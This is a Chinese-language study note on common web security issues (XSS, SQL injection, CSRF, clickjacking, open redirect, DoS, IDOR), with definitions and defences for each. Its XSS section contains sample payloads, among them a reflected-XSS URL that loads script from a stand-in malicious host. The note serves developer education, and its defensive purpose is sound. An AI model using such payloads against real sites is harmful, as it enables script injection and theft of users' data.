---
# System prepended metadata

title: 幾個你必須知道的資安問題
tags: [Note]

---

---
tags: Note
---

# 幾個你必須知道的資安問題

## XSS (Cross-site scripting)
> 利用在輸入欄位輸入 JS 的 script tag 來造成攻擊，透過在輸入框輸入一些特殊語法，規避掉字元的規則（或是程式本身沒有做好字串驗證），使原本應該是單純字串的部分，變成可以執行的程式碼，與下一個要介紹的攻擊類型 SQL Injection 可謂有異曲同工之妙。

### 類型
- Stored
    - 把 JavaScript 程式儲存在後端資料庫裡
    - 例
`<script>alert(‘你被攻擊啦！’)</script>`
- Reflected
    - 將 script 藏在 URL 網址列中，並透過 GET 參數傳遞，通常會經 URL 轉譯，讓連結看起來不可疑
    - 例
```http://localhost:8080/reflected-xss-demos/?username='><script src='http://malicious-site.com/malicious.js'></script><a href='```
- DOM Based
    - 頁面中使用如 innerHTML 等語法，就有注入 JS 程式碼的機會，注入 JS 程式碼可能造成 cookie 資料被偷走傳到攻擊者的 server。

### 防範
輸入驗證可以做，多一層保障，但輸出的 encoding 才是解決 XSS 的根本之道，原因是讓瀏覽器不會任意執行 JavaScript code。


---


## SQL Injection
> SQL 注入，在網頁中輸入欄位輸入包含惡意的 SQL 指令字串時 (更改語法邏輯或加入特殊指令)，若沒做好字元的判斷與處理，背後的 database 會直接接收使用者輸入的 SQL 指令。
> 
> 可能造成的損害
> - 獲得其他使用者的個人資訊
> - 惡意刪除、修改資料庫中的資料
> - 嚴重的話甚至可以讓被攻擊的企業直接倒閉

### 防範
- 限制輸入字元格式、檢查輸入長度，對進入資料庫的特殊字符進行轉譯處理、編碼轉換。
- 用正規表達式驗證並過濾輸入值與參數中惡意代碼，將輸入值中的單引號置換為雙引號。
- 不直接拼接 SQL 語句，以「參數化」方式產生資料庫最終執行 SQL query（大部分的 ORM 都有做這件事，因此有人會說使用 ORM 比起直接下 SQL query 還要安全一點），不僅較安全，效能也會比直接拼接 SQL 還要來得好。([參數化查詢](https://zh.m.wikipedia.org/wiki/%E5%8F%83%E6%95%B8%E5%8C%96%E6%9F%A5%E8%A9%A2))
- 針對字元檢查，設定資料庫中使用者的帳號權限，限制某些管道使用者無法作資料庫存取也是一個防範的做法，就算被攻擊也可以盡量把傷害降到最低。
---

### CSRF
> Cross Site Request Forgery，跨站請求偽造，也稱 one-click attack。
> 利用瀏覽器的 cookie 機制來製造攻擊機會。
### 防範
- Client Side
    - 每次用完服務都手動登出
- Server Side
	- 檢查 request header referer
	- 加上圖形驗證機制
	- Double Submit Cookie
	- 加上 CSRF Token (許多 framework 如 django 內建都有提供 CSRF Token 的機制)
	- SameSite Cookie (可以關注這個的未來發展)

#### 更多細節：[讓我們來談談 CSRF](https://blog.techbridge.cc/2017/02/25/csrf-introduction/) / [CSRF 攻击和防御 - Web 安全常识](https://www.youtube.com/watch?v=gEPii2y3ISQ&ab_channel=%E4%BB%A3%E7%A0%81%E7%9C%9F%E9%A6%99)

---

### ClickJacking
> 點擊劫持是 client side 的一種攻擊方式，把惡意的連結或用 iframe 嵌入的頁面隱藏起來，讓使用者在不知情的狀況下點擊該惡意連結或進行特定操作。
> (就是那些你很常看到的，「你中獎了」的網站。) 
### 防範
- 在 http 的 header 加入對應的 key value
    - [X-Frame-Options](https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Headers/X-Frame-Options)
    - [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)

---

### Open Redirect
> 公開重定向。
> 轉址應用沒有做好驗證規則，攻擊者就可以讓連結 redirect 到他們的釣魚網站，來進一步盜取用戶的資訊。
### 防範
- 關閉轉址功能
- 限定轉址的白名單網站

---

### DOS
> denial-of-service，阻斷服務攻擊，也稱洪水攻擊。
> - 利用短時間且大量的請求，導致被攻擊目標耗盡系統與網路資源 (就是讓服務炸掉)
> - 利用兩個或以上被攻陷的主機，對目標服務進行阻斷服務攻擊，就叫分散式阻斷服務攻擊 (distributed denial-of-service attack)，也就是 DDoS 攻擊。
### 防範
- 防火牆
- 交換機
- 路由器
- 流量清洗

#### 更多細節：[How to Design a Scalable Rate Limiting Algorithm](https://konghq.com/blog/how-to-design-a-scalable-rate-limiting-algorithm/)

---

### Insecure Direct Object Reference Vulnerability
> 網頁服務利用一個識別單位（例如 id）來獲取一個資源，但在沒有完善的檢查機制與權限控管下，攻擊者有可能直接獲取到其他使用者的資訊。
### 防範
- 做好權限控管
- 改難以猜中的 uuid

---

## 資料來源
- [身為 Web 工程師，你一定要知道的幾個 Web 資訊安全議題](https://medium.com/starbugs/%E8%BA%AB%E7%82%BA-web-%E5%B7%A5%E7%A8%8B%E5%B8%AB-%E4%BD%A0%E4%B8%80%E5%AE%9A%E8%A6%81%E7%9F%A5%E9%81%93%E7%9A%84%E5%B9%BE%E5%80%8B-web-%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8%E8%AD%B0%E9%A1%8C-29b8a4af6e13)
- [前端工程師常見的資安問題](https://linyencheng.github.io/2018/11/15/thinking-security/)